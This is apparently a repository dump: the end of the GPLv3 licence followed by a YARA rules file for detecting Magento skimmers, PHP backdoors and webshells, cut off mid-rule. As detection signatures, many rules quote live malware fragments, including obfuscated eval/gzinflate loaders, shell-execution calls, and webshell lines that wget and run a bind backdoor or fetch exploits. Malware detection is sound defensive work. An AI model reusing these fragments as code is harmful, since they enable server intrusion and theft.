| c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | {project} Copyright (C) {year} {fullname} 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /yararules.yar: -------------------------------------------------------------------------------- 1 | import "hash" 2 | rule Magento_shoplift_hack3 3 | { 4 | meta: 5 | author = "MageMojo" 6 | description = "finds magecard hack for Magento" 7 | strings: 8 | $s1 = "magecard.xyz" 9 | condition: 10 | $s1 11 | 12 | } 13 | rule Magento_shoplift_hack2 14 | { 15 | meta: 16 | author = "MageMojo" 17 | description = "locates suspicious function usually in app/code/core/Mage/Cms/controllers/IndexController.php" 18 | strings: 19 | $hack = "Mage_Cms_Auth_" 20 | condition: 21 | $hack 22 | 23 | } 24 | rule PHP_malware_svchost 25 | { 26 | meta: 27 | author = "MageMojo" 28 | strings: 29 | $s0 = "svchost.exe" fullword ascii 30 | condition: 31 | $s0 32 | 33 | } 34 | rule Magento_soulmagic_cchack 35 | { 36 | meta: 37 | author = "MageMojo" 38 | description = "soulmagic cc.php hacks" 39 | strings: 40 | $url="soulmagic.biz" 41 | $url2="soulmagic" 42 | $url3="java-e-shop.com" 43 | $url4="fozzy.com" 44 | condition: 45 | $url or $url2 or $url3 or $url4 46 | 47 | } 48 | rule Perl_conspy_hack 49 | { 50 | meta: 51 | author = "MageMojo" 52 | description="perl script that grabs conf files and other data to find exploits" 53 | strings: 54 | $1="copral" 55 | //$2="confspy.log" 56 | //$3="c0li.m0de.0n" 57 | //$4="usr/bin/perl" 58 | //$5="etc/passwd" 59 | condition: 60 | $1 61 | 62 | } 63 | rule Magento_shoplift_hack 64 | { 65 | meta: 66 | author = "MageMojo" 67 | description = "possible customer login registration hack" 68 | strings: 69 | $1="Mag Log1n" 70 | condition: 71 | any of them 72 | 73 | } 74 | rule Malware_host_ddos 75 | { 76 | meta: 77 | author = "MageMojo" 78 | description = "ddos using /usr/bin/host" 79 | strings: 80 | $1="/usr/bin/host" 81 | condition: 82 | any of them 83 | 84 | } 85 | rule PHP_backdoor10 86 | { 87 | meta: 88 | author = "MageMojo" 89 | description = "backdoor file editor?" 90 | strings: 91 | $1="L2hvbWUveXVtaS9wdWJsaWNfaHRtbC9tZWRpYS9jYXRhbG9nL3Byb2R1Y3QvYi84L2I4YTRmNmQyLWY0OWQtNDA5OC04OTFjLWQ3NDNiOTQyZmVlMy5qcGc=" 92 | $2="@touch($ajax,1325548800,1325548800)" 93 | condition: 94 | any of them 95 | 96 | } 97 | rule PHP_backdoor7 98 | { 99 | meta: 100 | author = "MageMojo" 101 | strings: 102 | $1="function p($bkdbrqyvb, $ylzhxco){$lqqqqudl" 103 | condition: 104 | any of them 105 | 106 | } 107 | rule PHP_backdoor6 108 | { 109 | meta: 110 | author = "MageMojo" 111 | description ="some garbage code" 112 | strings: 113 | $1 = "x69x66x28x21x66x75x6ex63x74x69x6fx6ex5fx65x78x69x73x74x73x28x22xa0x22x29x29x7bx66x75x6ex63x74x69x6fx6ex20xa0x28x29x7bx24xa0x3dx73x74x72x5fx72x65x70x6cx61x63x65x28x61x72x72x61x79x28x27x23x73x21x73x23x27x2cx27x23x65x21x65x23x27x2cx27x23x30x21x30x23x27x29x2cx61x72x72x61x79x28x27x3cx27x2cx27x3ex27x2cx22x5cx30x22x29x2cx6fx62x5fx67x65x74x5fx63x6cx65x61x6ex28x29x29x3bx66x6fx72x28x24xa0xa0x3dx31x2cx24xa0xa0xa0x3dx6fx72x64x28x24xa0x5bx30x5dx29x3bx24xa0xa0x3cx73x74x72x6cx65x6ex28x24xa0x29x3bx24xa0xa0x2bx2bx29x24xa0x5bx24xa0xa0x5dx3dx63x68x72x28x6fx72x64x28x24xa0x5bx24xa0xa0x5dx29x2dx24xa0xa0xa0x2dx24xa0xa0x29x3bx24xa0x5bx30x5dx3dx27x20x27x3bx72x65x74x75x72x6ex20x24xa0x3bx7dx7d" ascii 114 | condition: 115 | any of them 116 | 117 | } 118 | rule PHP_backdoor5 119 | { 120 | meta: 121 | author = "MageMojo" 122 | description ="some garbage code from list.php" 123 | strings: 124 | $1 = "$xuew = Array(" 125 | $2 = "eval(mn($rq, $xuew));" 126 | condition: 127 | any of them 128 | 129 | } 130 | rule Magento_onepage_php_hack2 131 | { 132 | meta: 133 | author = "MageMojo" 134 | description = "gzinflate junk in Onepage.php" 135 | strings: 136 | $1 = "=8k/9WnepdriVNcWD8UydY2Y2TWzq1KDWNm6Qj2SUMefJHh3ps4SVoU/HoAHF+ZYkak/isGyl/ndcG7ZRAgHgsl2zXD3nCfySH5iGPzIYJGeCf7vxVfIElR1eivIx8Yzm3I+A8rgoq1M9nV9+wzKB1r+7xXi2nTaxtlcZ/j5MtTGLpmep1fU9EZ626oNnJi5xEI0ksi03i8qgAp9SedXj9sOmDYC9dgrC/2ZL4PF4iGglOSRyF4wpo+ygMeBYWUow8ZjTOIVMPGXtpvJD5dnHwHYY54PK4nTCyPFCq2HmWjq+8cbqUClxcxyTakEUTod5a4EiUHYNrBauNqW5Whes8gnUEENvTFIdYWtAkv4wpYtx9Hs0QT8xs/BuG7s9WuL8G8QghUJ0QTjlLWzzvkrpvcKlBDl07WiXU2vpGJ66WqTf2UxUAYCHwCncC6UAGPue2oQY4LDVTdFmsfJQRlTFuMFvLl+ao7FUuiLOOuMS4TiHfeZrPhgYcIMpL1Y2XRsndiYdcMeNSEsDSo0WtCXSSbBYIQPxAy+RysQHghyKEacufCIBnUdLcnAuJqI50g1NzDE5ZneqD9p0DSnpCXKyk76uiZEuM2A1HdUd1cfJ9x+nf/GdazAGJzieOMdP99tIbHPPfD3Pps2MQJte8SjY8jgHWm4SfeOZxSQPziPbZ8UXMLB/+Vab5SltgPFspKsAZF1ODOhZtC4wgHZEsafojXAbAgrMyPZKv0QOf0DiL2Mmjc+QmFwRhWzPbi733sIvSD3grafLyN7nufxsbzNN2JIoNLyEDu+DdzQYgTIPS7Kz0URNcgoooIa" 137 | $2 = "eval(gzinflate(base64_decode(str_rot13(strrev(" 138 | condition: 139 | any of them 140 | 141 | } 142 | rule Potential_Malware_gzinflates 143 | { 144 | meta: 145 | author = "MageMojo" 146 | description = "gzinflate junk in Onepage.php" 147 | strings: 148 | $2 = "eval(gzinflate(base64_decode(str_rot13(strrev(" 149 | condition: 150 | any of them 151 | 152 | } 153 | rule Magento_onepage_php_hack 154 | { 155 | meta: 156 | author = "MageMojo" 157 | description = "gzinflate junk in Onepage.php" 158 | strings: 159 | $1 = "if(md5(@$_COOKIE[" 160 | condition: 161 | any of them 162 | 163 | } 164 | rule PHP_backdoor4 165 | { 166 | meta: 167 | author = "MageMojo" 168 | strings: 169 | $1="$s98b0504=" 170 | condition: 171 | any of them 172 | 173 | } 174 | rule PHP_backdoor3 175 | { 176 | meta: 177 | author = "MageMojo" 178 | strings: 179 | $ = "chk_jschl" 180 | $ = "jschl_vc" 181 | $ = "jschl_answer" 182 | condition: 183 | 2 of them // Better be safe than sorry 184 | 185 | } 186 | rule Potential_Malware_Bad_Websites 187 | { 188 | meta: 189 | author = "MageMojo" 190 | strings: 191 | $ = "1337day.com" 192 | $ = "antichat.ru" 193 | $ = "ccteam.ru" 194 | $ = "crackfor" nocase 195 | $ = "darkc0de" nocase 196 | $ = "egyspider.eu" 197 | $ = "exploit-db.com" 198 | $ = "hashchecker.com" 199 | $ = "hashkiller.com" nocase 200 | $ = "md5crack.com" 201 | $ = "md5decrypter.com" 202 | $ = "milw0rm.com" 203 | $ = "packetstormsecurity" nocase 204 | $ = "rapid7.com" 205 | $ = "visvo.com" 206 | 207 | condition: 208 | any of them 209 | 210 | } 211 | rule php_backdoor22 212 | { 213 | meta: 214 | author = "MageMojo" 215 | description = "Auto-generated rule - file _install.php" 216 | hash = "05992110a3eec5a7af08f5db280be65d9aa3d96e3633777bb91bf42f9d5394e7" 217 | strings: 218 | $s0 = "$YiunIUY76bBhuhNYIO9 = \"ZXZhbChldmFsKCJceDcyXHg2NVx4NzRceDc1XHg3Mlx4NmVceDIwXHg3M1x4NzRceDcyXHg3Mlx4NjVceDc2XHgyOFx4NjJceDYxXHg" ascii 219 | condition: 220 | uint16(0) == 0x3f3c and filesize < 139KB and all of them 221 | } 222 | rule php_backdoor21 223 | { 224 | meta: 225 | author = "MageMojo" 226 | description = "Auto-generated rule - file skins.php" 227 | hash = "501d9df6c214133bf43e691ba2b70b397307861bb468a14e058784bef5b75d65" 228 | strings: 229 | $s0 = "" fullword ascii 230 | condition: 231 | uint16(0) == 0x3f3c and filesize < 1KB and all of them 232 | 233 | } 234 | rule php_backdoor20 235 | { 236 | meta: 237 | author = "MageMojo" 238 | description = "Auto-generated rule - file shrr.php" 239 | hash = "5e8a1ddde920418879aa3776cba8dff2e30acc0484d22ce35ce18b619cd9888c" 240 | strings: 241 | $s0 = "ttytty(477);wsoSecParam(ttytty(478),wsoEx(ttytty(479)));wsoSecParam(ttytty(480),@file_get_contents(ttytty(481)));echo /* */" fullword ascii 242 | $s1 = "round(0+1+1)){$temp=@file($_POST[ttytty(1137)]);if(is_array($temp))foreach($temp /* categories = get_terms( taxonomy, r ); */" fullword ascii 243 | $s2 = "ttytty(470);$temp=array();foreach($userful /* if(empty(categories) && ! r[hide_if_empty] && !empty(show_option_none)){ */" fullword ascii 244 | $s3 = "ttytty(1058) .$temp .ttytty(1059);echo /* categories = get_the_category( post_id );if(empty( categories)) */" fullword ascii 245 | $s4 = "ttytty(162) .$_POST[ttytty(163)] .ttytty(164) .$_SERVER[ttytty(165)] .ttytty(166) .WSO_VERSION .\"" fullword ascii 246 | $s5 = "date(ttytty(644),@filemtime($GLOBALS[ttytty(645)] .$dirContent[$i])),ttytty(646)=> /* class = esc_attr( class ); */" fullword ascii 247 | $s6 = "$gid=@posix_getgrgid(@filegroup($_POST[ttytty(892)]));echo /* selected =(-1 === strval(r[selected]))? selected=selected : ; */" fullword ascii 248 | $s7 = "dump($table,$fp=false){switch($this->type){case /* selected =(0 === strval(r[selected]))? selected=selected : ; */" fullword ascii 249 | $s8 = "ttytty(884);if(!file_exists(@$_POST[ttytty(885)])){echo /* selected =(0 === strval(r[selected]))? selected=selected : ; */" fullword ascii 250 | $s9 = "ttytty(1371);if(!empty($_POST[ttytty(1372)])){$db->selectdb($_POST[ttytty(1373)]);echo /* if((int) tab_index > 0 ) */" fullword ascii 251 | $s10 = "ttytty(748) .date(ttytty(749)) .ttytty(750) .($_COOKIE[ttytty(751)]== /* if((int) tab_index > 0 ) */" fullword ascii 252 | $s11 = "$GLOBALS[ttytty(642)] .$dirContent[$i],ttytty(643)=> /* categories = get_terms( taxonomy, r ); */" fullword ascii 253 | $s12 = "$f)@rename($_COOKIE[ttytty(584)] .$f,$GLOBALS[ttytty(585)] .$f);}elseif($_COOKIE[ttytty(586)]== /* if(show_option_none){ */" fullword ascii 254 | $s13 = "ttytty(1102);if($_POST[ttytty(1103)]!= /* selected =(0 === strval(r[selected]))? selected=selected : ; */" fullword ascii 255 | $s14 = "ttytty(407)){wsoSecParam(ttytty(408),@is_readable(ttytty(409))?ttytty(410):ttytty(411));wsoSecParam(ttytty(412),@is_readable(tty" ascii 256 | $s15 = "ttytty(1432))&&!empty($_POST[ttytty(1433)])){$db->query(@$_POST[ttytty(1434)]);if($db->res /* */" fullword ascii 257 | $s16 = "ttytty(745))||($_COOKIE[ttytty(746)]== /* defaults[selected] =(is_category())? get_query_var( cat): 0; */" fullword ascii 258 | $s17 = "dump_columns($table,$columns,$fp=false){switch($this->type){case /* if((int) tab_index > 0 ) */" fullword ascii 259 | $s18 = "$dirContent[$i],ttytty(641)=> /* if((int) tab_index > 0 ) */" fullword ascii 260 | $s19 = "function_exists(ttytty(1510) .$_POST[ttytty(1511)]))call_user_func(ttytty(1512) .$_POST[ttytty(1513)]);exit;" fullword ascii 261 | $s20 = "readlink($tmp[ttytty(663)])));elseif(@is_dir($GLOBALS[ttytty(664)] .$dirContent[$i]))$dirs[]=array_merge($tmp,array(ttytty(665)=" ascii 262 | condition: 263 | uint16(0) == 0x3f3c and filesize < 426KB and all of them 264 | } 265 | rule php_backdoor19 266 | { 267 | meta: 268 | author = "MageMojo" 269 | description = "Auto-generated rule - file favicon.php" 270 | hash = "8f7e8d2b705c875a5e043909c8192c8afc0a4b3d4f83008c3e28f7d353322345" 271 | strings: 272 | $s0 = "$idc = \"=Ew/P7//fvf/e20P17/LpI7L34PwCabTrwvXJbPWN3TV+/T/mE3R5//n3zfJlHOEt/33HXCPomvNr8X9Of74N/C8u0KblTAt8+AAh3gjnKzeZWDyELiXuc/" ascii 273 | condition: 274 | uint16(0) == 0x3f3c and filesize < 75KB and all of them 275 | } 276 | rule paypal_phish2 277 | { 278 | meta: 279 | author = "MageMojo" 280 | hash = "b3a969bdb74a62a96d4c3ca35733fd21ad6274f6bbf07398189a9203bf634b73" 281 | strings: 282 | $s0 = "else {$tmp = htmlspecialchars(\"./dump_\".getenv(\"SERVER_NAME\").\"_\".$sql_db.\"_\".date(\"d-m-Y-H-i-s\").\".sql\");}" fullword ascii 283 | $s1 = "$file = $tmpdir.\"dump_\".getenv(\"SERVER_NAME\").\"_\".$db.\"_\".date(\"d-m-Y-H-i-s\").\".sql\";" fullword ascii 284 | $s2 = "function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) {" fullword ascii 285 | $s3 = "displaysecinfo(\"Kernel Version\",myshellexec(\"sysctl -a | grep version\"));" fullword ascii 286 | $s4 = "array(\"wget Sudo Exploit\",\"wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c\")," fullword ascii 287 | $s5 = "exit(\"$sh_name: Access Denied - Your host (\".getenv(\"REMOTE_ADDR\").\") not allowed\");" fullword ascii 288 | $s6 = " - " fullword ascii 289 | $s7 = "array(\"wget & extract EggDrop\",\"wget \".$sh_mainurl.\"httpd.tar.gz;tar -zxf httpd.tar.gz\")," fullword ascii 290 | $s8 = "\"Your IP : \".$_SERVER[\"REMOTE_ADDR\"].\"
\";" fullword ascii 291 | $s9 = "array(\"wget & run BindDoor\",\"wget \".$sh_mainurl.\"tool/bind.tar.gz;tar -zxvf bind.tar.gz;./4877\")," fullword ascii 292 | $s10 = "# MySQL version: (\".mysql_get_server_info().\") running on \".getenv(\"SERVER_ADDR\").\" (\".getenv(\"SERVER_NAME\").\")\".\"" fullword ascii 293 | $s11 = "$logfile = $tmpdir_logs.\"yx29sh_ftpquickbrute_\".date(\"d.m.Y_H_i_s\").\".log\";" fullword ascii 294 | $s12 = "echo \"



1 - all, if empty\";" fullword ascii 297 | $s15 = "$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;" fullword ascii 298 | $s16 = "array(\"wget WIPELOGS PT1\",\"wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c\")," fullword ascii 299 | $s17 = "array(\"Md5-Lookup\",\"http://darkc0de.com/database/md5lookup.html\")," fullword ascii 300 | $s18 = "$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;" fullword ascii 301 | $s19 = "\"

Server IP : \".gethostbynam" ascii 302 | $s20 = "$millink=\"http://milw0rm.com/search.php?dong=Linux Kernel \".$Lversion;" fullword ascii 303 | condition: 304 | uint16(0) == 0x3f3c and filesize < 587KB and all of them 305 | } 306 | rule php_backdoor18 307 | { 308 | meta: 309 | author = "MageMojo" 310 | description = "Auto-generated rule - file ajax17.php" 311 | hash = "e5c2991d5876872d36719b476e2506d32a4b1ae2f6e72b227fd4186e99a970e4" 312 | strings: 313 | $s0 = "@$GLOBALS[$GLOBALS['l58848089'][68].$GLOBALS['l58848089'][24].$GLOBALS['l58848089'][7].$GLOBALS['l58848089'][22]](0);" fullword ascii 314 | $s1 = "elseif ($wc7594339[$GLOBALS['l58848089'][12]] == $GLOBALS['l58848089'][50])" fullword ascii 315 | $s2 = "if ($wc7594339[$GLOBALS['l58848089'][12]] == $GLOBALS['l58848089'][14])" fullword ascii 316 | $s3 = "$GLOBALS[$GLOBALS['l58848089'][3].$GLOBALS['l58848089'][49].$GLOBALS['l58848089'][70].$GLOBALS['l58848089'][73].$GLOBALS['l58848" ascii 317 | $s4 = "function y7429865($wc7594339, $sd46bfef)" fullword ascii 318 | $s5 = "eval($wc7594339[$GLOBALS['l58848089'][78]]);" fullword ascii 319 | $s6 = "$GLOBALS[$GLOBALS['l58848089'][68].$GLOBALS['l58848089'][24].$GLOBALS['l58848089'][77].$GLOBALS['l58848089'][50].$GLOBALS['l5884" ascii 320 | $s7 = "function fa33772($wc7594339, $sd46bfef)" fullword ascii 321 | $s8 = "$wc7594339 = $j2633b89b;" fullword ascii 322 | $s9 = "$g66118b = Array(" fullword ascii 323 | $s10 = "$kface510 = NULL;" fullword ascii 324 | $s11 = "$kface510 = $sd46bfef;" fullword ascii 325 | $s12 = "$wc7594339 = NULL;" fullword ascii 326 | $s13 = "$g92d725 = \"\";" fullword ascii 327 | $s14 = "global $w5e7a42;" fullword ascii 328 | $s15 = "if (!$wc7594339)" fullword ascii 329 | $s16 = "return $g92d725;" fullword ascii 330 | condition: 331 | uint16(0) == 0x3f3c and filesize < 42KB and all of them 332 | } 333 | rule php_backdoor17 334 | { 335 | meta: 336 | author = "MageMojo" 337 | description = "Auto-generated rule - file lib.php" 338 | hash = "e398270203deab8f6dc1d4a3b6766113f567bc93ef46e105c3e71eafac3ab0d5" 339 | strings: 340 | $s0 = "~Uoqohmdz%RBn4N@\\rlFj1.ys#W*J[v86CMX}?'D2q]S7IUki0=Q(Message : \">" fullword ascii 493 | $s1 = "exec(\"$cmd > /dev/null &\");" fullword ascii 494 | $s2 = "$encoded = base64_encode(file_get_contents($d.$f));" fullword ascii 495 | $s3 = "if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}" fullword ascii 496 | $s4 = "\">" fullword ascii 497 | $s5 = "function 